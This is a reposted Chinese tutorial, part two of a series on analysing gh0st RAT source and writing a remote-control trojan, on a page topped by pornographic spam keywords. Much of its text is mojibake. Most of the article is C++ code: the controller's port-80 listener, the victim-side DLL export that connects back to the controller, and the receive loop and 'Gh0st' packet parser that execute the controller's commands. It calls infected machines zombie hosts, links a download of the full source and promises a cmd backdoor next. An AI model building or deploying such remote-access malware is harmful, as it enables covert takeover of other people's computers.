日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st源码分析与远控的编写(二)

發(fā)布時間:2024/4/11 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st源码分析与远控的编写(二) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.


上次說了那么多,基本上就是一個叫“大局觀”的東西,只有腦子里有了一個軟件的設計、運行思路,才能把一個一個類寫出來,組合在一起。

Gh0st的作者是一個對代碼有很好掌控的人,他對代碼的組合,類之間的關系,面向對象的思想有很深入的理解。而對我們看源碼的人來說,這種結構化、條理化的程序,閱讀起來十分輕松,思路也十分清晰。

廢話不多說,我們今天來看一下gh0st的上線。所謂上線,就是我們被控端啟動起來,并主動連接我們主控端,建立起TCP連接以后,主控端就可以通過相關命令來操作被控端了,這就是一臺“肉雞”的上線。

上線以后,主控端就獲取到被控端計算機的相關信息,如下圖:


界面就是完全按照老狼的gh0st教程中的界面設計的。我們打開源碼,看看上線,gh0st是怎么處理的。

以后每次文章,我會把我的源碼發(fā)上來,大家看我的源碼就可以了。這里先簡潔地介紹一下我的源碼。有如下一些文件。


這是一個解決方案,其中:MainDll是被控端,一個動態(tài)鏈接庫的工程;DLLTest是加載dll的普通控制臺工程;PhRemote是主控端工程,MFC的界面。Bin是我們輸出文件夾,編譯好的文件會在其中,其中又有兩個文件夾,PhRemote是主控端,server是被控端,server中放著exe和dll,點擊exe就算啟動了被控端。Common中放著三個工程都可能用到的文件。


回到代碼上。在主控端方面,首先我們開啟了一個端口(80),來等待被控端的連接。這些工作由Activate函數(shù)完成(在PhRemote中搜索該函數(shù)找到它):

01 void?CPhRemoteDlg::Activate(UINT?uPort,?UINT?nMaxConnect)
02 {
03 ????CString str;
04 ????if?(m_iocpServer != NULL)
05 ????{
06 ????????m_iocpServer->Shutdown();
07 ????????delete?m_iocpServer;
08 ????}
09 ????m_iocpServer =?new?CIOCPServer();
10 ?
11 ????if?(m_iocpServer->Initialize(NotifyProc,?this, nMaxConnect, uPort))
12 ????{
13 ????????char?hostname[256];
14 ????????gethostname(hostname,?sizeof(hostname));
15 ????????HOSTENT *host = gethostbyname(hostname);
16 ????????if?(host != NULL)
17 ????????{
18 ????????????for?(?int?i=0; ; i++ )
19 ????????????{
20 ????????????????str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
21 ????????????????if?( host->h_addr_list[i] + host->h_length >= host->h_name )
22 ????????????????????break;
23 ????????????????str +=?"/";
24 ????????????}
25 ????????}
26 ????????str.Format("監(jiān)聽端口: %d成功", uPort);
27 ????????AddInfoList(TRUE, str);
28 ????}
29 ????else
30 ????{
31 ????????str.Format("監(jiān)聽端口: %d失敗”, uPort);
32 ????????AddInfoList(FALSE, str);
33 ????}
34 }

????

首先,變量m_iocpServer,這是我們上次說到的gh0st數(shù)據(jù)傳輸使用的CIOCPServer類對象,m_iocpServer?=?new?CIOCPServer(),為它在堆上分配內存。以后我們的數(shù)據(jù)傳輸,都使用該對象來完成。

之后我們調用了該對象一個成員函數(shù):m_iocpServer->Initialize(NotifyProc,?this,?nMaxConnect,?uPort),我們右鍵?-?轉到定義,可以查看到在CIOCPServer函數(shù)的定義。

大概就是初始化socket套接字的一個過程:WSASocket?>?WSACreateEvent?>?WSAEventSelect?>?bind?>?listen?>?進入監(jiān)聽線程。這已經(jīng)是socket編程的一個基礎了,我就不多講。不過,其中用到了Event這個概念,這是完成端口模型中用到的概念。大家可以自己網(wǎng)上搜索一些異步IO模型的相關資料學習。

在m_iocpServer->Initialize函數(shù)執(zhí)行完成后,等于說已經(jīng)開始監(jiān)聽80端口了。這個if語句中有一個for循環(huán),該循環(huán)并沒有用上,到此為止我也不知道老狼的源碼中為什么會有這樣一段。它的作用是獲取本機在所有網(wǎng)段下的ip地址,以/分隔。

最后,監(jiān)聽成功或失敗則向下面一個ListCtrl中增加一條信息。


好,我們在轉向被控端,就是那個dll工程。我們這個DLL只有一個導出函數(shù),就是TestRun,執(zhí)行了這個函數(shù),等于開啟了被控端。找到該函數(shù):

1 extern?"C"?__declspec(dllexport)?void?TestRun(char* strHost,int?nPort )
2 {
3 ????strcpy_s(g_strHost, _countof(g_strHost),strHost);???//保存上線地址
4 ????g_dwPort = nPort;???????????????????????????????????????//保存上線端口
5 ????HANDLE?hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
6   //這里等待線程結束
7 ????WaitForSingleObject(hThread, INFINITE);
8 ????CloseHandle(hThread);
9 }

該函數(shù)有兩個參數(shù),分別是主控端的IP和端口。如果不知道IP和端口,我們也不能向主控端發(fā)起連接,不是嗎?

本函數(shù)實際上是開啟了一個線程,執(zhí)行main函數(shù)。打開main函數(shù),我只找關于上線的相關代碼:

首先聲明了一個CClientSocket?socketClient;對象,我之前說了,被控端的數(shù)據(jù)傳輸,由CClientSocket類完成。

之后:

1 if?(!socketClient.Connect(lpszHost, dwPort))
2 ????{
3 ????bBreakError = CONNECT_ERROR;???????//---連接錯誤跳出本次循環(huán)
4 ????continue;
5 ????}

之后調用了socketClient.Connect函數(shù)(參數(shù)依舊是主控端的IP和端口),從字面意思就可以猜到是由它來連接我們的主控端。于是,右鍵?-?轉到定義,找到該函數(shù)。

其中可能涉及到sock5代理,Negle算法等復雜的過程,我就不展開了。你只要知道,調用了socketClient.Connect函數(shù),我們就連接了主控端的80端口。

在socketClient.Connect函數(shù)的最后,我們看到,它又開啟了一個線程,執(zhí)行WorkThread函數(shù),跟進此函數(shù)看:

01 DWORD?WINAPI CClientSocket::WorkThread(LPVOID?lparam)??
02 {
03 ????CClientSocket *pThis = (CClientSocket *)lparam;
04 ????char????buff[MAX_RECV_BUFFER];
05 ????fd_set fdSocket;
06 ????FD_ZERO(&fdSocket);
07 ????FD_SET(pThis->m_Socket, &fdSocket);
08 ????while?(pThis->IsRunning())????????????????//---如果主控端沒有退出,就一直陷在這個循環(huán)中
09 ????{
10 ????????fd_set fdRead = fdSocket;
11 ????????int?nRet = select(NULL, &fdRead, NULL, NULL, NULL);???//---這里判斷是否斷開連接
12 ????????if?(nRet == SOCKET_ERROR)?????
13 ????????{
14 ????????????pThis->Disconnect();
15 ????????????break;
16 ????????}
17 ????????if?(nRet > 0)
18 ????????{
19 ????????????memset(buff, 0,?sizeof(buff));
20 ????????????int?nSize = recv(pThis->m_Socket, buff,?sizeof(buff), 0);?????//---接收主控端發(fā)來的數(shù)據(jù)
21 ????????????if?(nSize <= 0)
22 ????????????{
23 ????????????????pThis->Disconnect();//---接收錯誤處理
24 ????????????????break;
25 ????????????}
26 ????????????if?(nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);????//---正確接收就調用OnRead處理
27 ????????}
28 ????}
29 ????return?-1;
30 }

看注釋就很清楚了。不多說,類似于一個select選擇模型,來循環(huán)接受主控端發(fā)來的信息。正確接受信息,就調用OnRead處理,所以我們跟進OnRead函數(shù)。該函數(shù)注釋寫的很詳細,有一點我要說明。

被控端與主控端通信,每條信息有一個數(shù)據(jù)頭,我們來到CClientSocket類的構造函數(shù),可以看到以下賦值:

BYTE?bPacketFlag[]?=?{'G',?'h',?'0',?'s',?'t'};

memcpy(m_bPacketFlag,?bPacketFlag,?sizeof(bPacketFlag));

m_bPacketFlag這也就是我們的數(shù)據(jù)頭。相當于一個確認的作用,發(fā)來的包的前五個字節(jié)必須是"Gh0st",否則就丟棄此包,拋出一個錯誤。

它是這樣處理的:

1 BYTE?bPacketFlag[FLAG_SIZE];
2 CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(),?sizeof(bPacketFlag));
3 if?(memcmp(m_bPacketFlag, bPacketFlag,?sizeof(m_bPacketFlag)) != 0)
4 ????throw?"bad buffer";

FLAG_SIZE就是5,表示數(shù)據(jù)頭大小5字節(jié)。首先copymemory,把前5字節(jié)從數(shù)據(jù)包中拷貝出來,再用memcmp比較是否是“Gh0st”,不是則throw出錯誤。

再往下看,第6-9個字節(jié)(一個int的大小),保存的是數(shù)據(jù)包的大小。

1 int?nSize = 0;
2 CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE),?sizeof(int));
3 //--- 判斷數(shù)據(jù)的大小
4 if?(nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
5 ????{...}
????

用CopyMemory拷貝出該數(shù),nSize是拷貝出來的數(shù)據(jù)包大小,這是壓縮后的數(shù)據(jù)包的大小。如果不出意外,進入if語句。If語句中,我們看到三個read:

m_CompressionBuffer.Read((PBYTE)?bPacketFlag,?sizeof(bPacketFlag));

m_CompressionBuffer.Read((PBYTE)?&nSize,?sizeof(int));

m_CompressionBuffer.Read((PBYTE)?&nUnCompressLength,?sizeof(int));

分別讀的就是數(shù)據(jù)頭(Gh0st),數(shù)據(jù)包大小,壓縮前大小。之后還有一個read:

m_CompressionBuffer.Read(pData,?nCompressLength);

這就是讀的數(shù)據(jù)了。所以說算一下,數(shù)據(jù)頭5字節(jié),兩個int,8字節(jié),一共13個字節(jié),相當于是數(shù)據(jù)包的header部分,而從第14字節(jié)開始,就是真正的數(shù)據(jù)包了。

我們調用uncompress函數(shù),解壓縮數(shù)據(jù)包,得到需要的數(shù)據(jù)。Gh0st利用解壓成功與否,判斷一個數(shù)據(jù)包的好壞。如果解壓成功,則執(zhí)行OnReceive函數(shù):

1 if?(nRet == Z_OK)//---如果解壓成功
2 {
3 ????m_DeCompressionBuffer.ClearBuffer();
4 ????m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
5 ????//調用m_pManager->OnReceive函數(shù)
6 ????m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
7 }
8 else
9 ????throw?"bad buffer";


OnReceive函數(shù)在CManager中定義,但并未實現(xiàn)(一個虛函數(shù))。

我們看m_pManager,它其實是一個CManager類對象。由于多態(tài)的存在,在不同的情況下,它會指向不同的代碼,執(zhí)行不同的任務。(我覺得這是gh0st源碼中面向對象的精髓所在)

它到底有什么用呢?下次我會給大家實現(xiàn)cmd后門的功能,到時候你就知道這個點的用處所在了。

【本文源碼及doc下載:http://vdisk.weibo.com/s/u9oF-vwNrwpw4】

總結

以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(二)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。